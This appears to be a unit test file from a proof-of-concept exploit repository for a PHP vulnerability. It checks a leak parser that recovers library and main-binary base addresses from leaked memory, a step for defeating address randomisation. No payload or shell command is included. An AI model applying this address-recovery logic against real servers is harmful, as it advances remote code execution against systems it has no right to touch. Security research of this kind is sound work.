Files
php2shell-cve-2026-109618-1…/tests/test_leak_parse.py
T

63 lines
2.3 KiB
Python

import os
import struct
import unittest
from poc import leak, profiles
_, PROF = profiles.select("51663cf883b1223436d4c99f31dd0225735ea5573665e4242621eee7f4ee679c")
CAP = os.path.join(os.path.dirname(__file__), "..", "research", "captures", "diag_decoded.bin")
def synth(lib, main, idc, n_main=87, n_id=7495, n_dtor=1095, decoy=0):
buf = bytearray()
buf += b"\x00" * 64
if decoy:
buf += struct.pack("<Q", 0x0000001600000001) * decoy
buf += struct.pack("<Q", lib + PROF["dtor_offset"]) * n_dtor
buf += struct.pack("<Q", idc + 0x1234) * n_id
buf += struct.pack("<Q", main + 0x1000) * n_main
return bytes(buf)
class LeakTest(unittest.TestCase):
def test_recovers_both_bases(self):
lib = 0x7D2700000000
main = lib - 0x1E00000
info = leak.classify(synth(lib, main, 0x7D2000000000), PROF)
self.assertEqual(info["lib"], lib)
self.assertEqual(info["main"], main)
self.assertEqual(info["main_bucket_count"], 87)
def test_low_mmap_base_is_accepted(self):
lib = 0x732700000000
main = lib - 0x1E00000
info = leak.classify(synth(lib, main, 0x732000000000), PROF)
self.assertEqual(info["lib"], lib)
def test_decoy_outnumbers_dtor_and_is_rejected(self):
lib = 0x7D2700000000
main = lib - 0x1E00000
info = leak.classify(synth(lib, main, 0x7D2000000000, decoy=4000), PROF)
self.assertEqual(info["lib"], lib)
def test_rejects_implausible_delta(self):
lib, main = 0x7D2700000000, 0x7D0000000000
with self.assertRaises(leak.LeakError):
leak.classify(synth(lib, main, 0x7D2000000000), PROF)
def test_no_pointer_raises(self):
with self.assertRaises(leak.LeakError):
leak.classify(b"\x00" * 4096, PROF)
@unittest.skipUnless(os.path.exists(CAP), "captured leak not present")
def test_real_capture(self):
with open(CAP, "rb") as fh:
buf = fh.read()
info = leak.classify(buf, PROF)
self.assertEqual(info["decoded"], 819208)
self.assertEqual(info["main_bucket_count"], 87)
delta = info["lib"] - info["main"]
self.assertGreaterEqual(delta, PROF["delta_min"])
self.assertLessEqual(delta, PROF["delta_max"])
self.assertEqual(info["lib"] % 0x1000, 0)